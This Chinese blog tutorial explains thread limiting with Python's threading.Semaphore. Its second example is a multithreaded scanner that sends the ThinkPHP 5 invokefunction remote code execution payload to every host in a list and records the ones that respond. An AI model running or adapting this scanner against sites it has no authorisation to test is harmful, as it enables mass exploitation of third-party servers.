python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python 图片验证码代码
Dec 07 Python
python读取Android permission文件
Nov 01 Python
Python中的匿名函数使用简介
Apr 27 Python
Python利用ElementTree模块处理XML的方法详解
Aug 31 Python
Python 中导入csv数据的三种方法
Nov 01 Python
python Django里CSRF 对应策略详解
Aug 05 Python
python tornado使用流生成图片的例子
Nov 18 Python
解决flask接口返回的内容中文乱码的问题
Apr 03 Python
python脚本监控logstash进程并邮件告警实例
Apr 28 Python
python新手学习可变和不可变对象
Jun 11 Python
Django实现微信小程序支付的示例代码
Sep 03 Python
Python常用GUI框架原理解析汇总
Dec 07 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
在PHP中使用Sockets 从Usenet中获取文件
2008/01/10 PHP
php之Memcache学习笔记
2013/06/17 PHP
实例讲解YII2中多表关联的使用方法
2017/07/21 PHP
PHP基于phpqrcode类生成二维码的方法示例详解
2020/08/07 PHP
javascript parseInt与Number函数的区别
2010/01/21 Javascript
jQuery LigerUI 插件介绍及使用之ligerDrag和ligerResizable示例代码打包
2011/04/06 Javascript
纯JS实现的批量图片预览加载功能
2011/08/14 Javascript
js获取光标位置和设置文本框光标位置示例代码
2014/01/09 Javascript
js清空form表单中的内容示例
2014/05/20 Javascript
JS+CSS实现简易实用的滑动门菜单效果
2015/09/18 Javascript
深入浅析Node.js 事件循环
2015/12/20 Javascript
WEB 前端开发中防治重复提交的实现方法
2016/10/26 Javascript
Vue.js系列之项目搭建(1)
2017/01/03 Javascript
使用JavaScript判断用户输入的是否为正整数(两种方法)
2017/02/05 Javascript
canvas滤镜效果实现代码
2017/02/06 Javascript
JS简单判断字符在另一个字符串中出现次数的2种常用方法
2017/04/20 Javascript
Swiper.js实现移动端元素左右滑动
2019/09/08 Javascript
python简单实现操作Mysql数据库
2018/01/29 Python
浅谈Python反射 & 单例模式
2019/03/21 Python
django框架自定义模板标签(template tag)操作示例
2019/06/24 Python
命令行运行Python脚本时传入参数的三种方式详解
2019/10/11 Python
pygame实现贪吃蛇游戏(下)
2019/10/29 Python
css3教程之倾斜页面
2014/01/27 HTML / CSS
美国新兴城市生活方式零售商:VILLA
2017/12/06 全球购物
为什么如下的代码int a=100,b=100;long int c=a * b;不能工作
2013/11/29 面试题
党课培训主持词
2014/04/01 职场文书
文明寝室申报材料
2014/05/12 职场文书
2015年保险公司工作总结
2015/04/24 职场文书
2015年电话客服工作总结
2015/05/18 职场文书
给校长的建议书范文
2015/09/14 职场文书
2016年小学生清明节广播稿
2015/12/17 职场文书
python基于tkinter制作无损音乐下载工具
2021/03/29 Python
MySQL 角色(role)功能介绍
2021/04/24 MySQL
阿里云k8s服务升级时502错误 springboot项目应用
2022/04/09 Servers
如何利用python实现列表嵌套字典取值
2022/06/10 Python
CSS SandBox应用场景及常见问题
2022/06/25 HTML / CSS